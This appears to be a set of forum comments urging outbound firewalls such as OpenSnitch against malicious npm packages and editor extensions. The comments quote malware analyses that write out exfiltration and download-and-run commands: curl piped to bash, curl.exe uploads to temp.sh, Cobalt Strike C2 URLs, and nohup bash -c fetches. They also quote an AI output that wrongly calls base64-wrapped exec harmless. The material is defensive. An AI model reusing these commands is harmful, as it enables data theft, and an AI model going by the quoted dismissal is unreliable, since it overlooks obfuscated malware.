> The trick is to infect a plugin that has a legitimate reason for accessing the internet or running certain commands, and then coming up with ways to abuse that to exfiltrate the data. Or exfiltrating via DNS queries, or some other vector that isn't so obvious as "allow TCP/UDP connections to the whole world".

They'll get there, maybe. But the reality is that right now, everyone allows outbound requests blindly.

Instead of speculating, I suggest to actually investigate current IOCs and common tactics of malicious npm/pip/plugins/VS extensions. Something like this:

https://github.com/evilsocket/opensnitch/discussions/1119

Or use OpenSnitch (or Lulu, Glasswire, ZoneAlarm anyone?:D etc) to actually analyze real VS malicious extensions or npm packages and see if it stops the exfiltration, and if not, suggest ways to improve it. For example:

https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...

I'd love to see a real example/PoC.

Anyway, we discussed this issue in the other thread. For me, unrestricted outbound requests to any url, whether it's well known domains like api.github.com or any other domain, are a red flag.

Why does VS need to establish outbound requests to any domain, without authorization?

There's no magic solution, and these attacks will evolve, but I still think that restricting outbound requests is a good measure to mitigate these attacks.

> slurps up all of the users private keys/tokens/env-vars it can find and sends this off somewhere covertly.

Isolating applications can also mitigate the impact of these attacks. For example, you can restrict VS code to only share with the host .vscode/, .git/ and other directories. Even by project. Again, it's not bulletproof, but helps.

But for the time being, the common entry vector is clear:

https://github.com/evilsocket/opensnitch/discussions/1119

> 2) trigger a tab open to attacker's website

be sure not to use extra cli parameters like "firefox --new-tab ", because if the rule is filtering by process path + cmdline it'll trigger a pop-up to allow the outbound request.

yesterday discussion https://news.ycombinator.com/item?id=48191680

https://markdownpastebin.com/?id=9c294c75f09349d2977a4ccd250...

In some cases, maybe you need to allow permanently git to open outbound resquests to github.com (or gitlab, etc), but at least in my case, I'm okey allowing these connections manually.

> preinstall script: bun run index.js

> Dual exfiltration: > stolen data is committed as Git objects to public GitHub repositories (api.github.com) > and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)

> The Bun installer command (command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)) prepends every injected hook to guarantee Bun availability

> A separate gh-token-monitor daemon (decrypted from J7, deployed by class so) installs to ~/.local/bin/gh-token-monitor.sh with its own systemd service and LaunchAgent. It polls stolen GitHub tokens at 60-second intervals with a 24-hour TTL

This attack in particular would have caused OpenSnitch to go crazy, giving you the opportunity to review what's going on.

It doesn't matter if this or that doesn't work. Or if Microslop pressures to continue using Winslop.

Now the reasons are geopolitical.

or DNS stubs with filtering capabilities.

See how the AI points you in the "right" direction:

  What likely happened:
  The exec(base64.b64decode('...')) pattern is not malware — it's how Python tooling (including Claude Code's Bash tool) passes code snippets to python -c while avoiding shell escaping issues.

  Exfiltrates data to https://models.litellm.cloud/ encrypted with RSA

Having said this, uploading a binary to Claude for analysis is a different story.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin

  On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely

https://github.com/pranshuparmar/witr/tree/main/internal/lin...

It should be the last option.

[0] https://news.ycombinator.com/item?id=46364057

https://manpages.debian.org/bookworm/manpages/sock_diag.7.en...

https://github.com/vishvananda/netlink/blob/main/inet_diag.g...

Not many rootkits tamper the netlink channel, so in most cases it's a bit more reliable.

Many LD_PRELOAD rootkits hide their activity from the system by manipulating the output of libc functions like readdir(), open(), stat(), etc. kernel rootkits can hide whatever they need, but the common functionality is also to hide data from /proc.

That's why netstat, ps, *top or lsof are not reliable tools if the system is compromised. ss is a bit different and is a bit more reliable.

In this case, snitch is written in Go, which doesn't use the libc functions, so probably it'll be able to obtain information from /proc even if hidden by a LD_PRELOAD rootkit.

Another option would be to compile the binary statically.

Anyways, these tools are not meant to unhide malicious traffic or processes, so I think detecting beacons, inspecting traffic, etc, is out of the scope.

Resources:

https://github.com/gustavo-iniguez-goya/decloaker

User-space library rootkits revisited: Are user-space detection mechanisms futile? - https://arxiv.org html/2506.07827v1

The Hidden Threat: Analysis of Linux Rootkit Techniques and Limitations of Current Detection Tools - https://dl.acm.org/doi/10.1145/3688808

https://matheuzsecurity.github.io/hacking/bypass-userland-ho...

https://ops.tips/blog/how-is-proc-able-to-list-pids/

You can also restrict outbound connections to cryptomining pools and malicious IPs. For example by using IOCs from VirusTotal or urlhaus.bazaar.ch

In order to stop these attacks, restrict outbound connections from unknown / not allowed binaries.

This kind of malware in particular requires outbound connections to the mining pools. Others downloads scripts or binaries from remote servers, or try to communicate with their c2c servers.

On the other hand, removing exec permissions to /tmp, /var/tmp and /dev/shm is also useful.

https://github.com/evilsocket/opensnitch/discussions/1290

that malware campaign is still active.

Lulu or Little Snitch should have warned the user and stopped the exfiltration of data.

https://github.com/evilsocket/opensnitch/wiki/Rules#best-pra...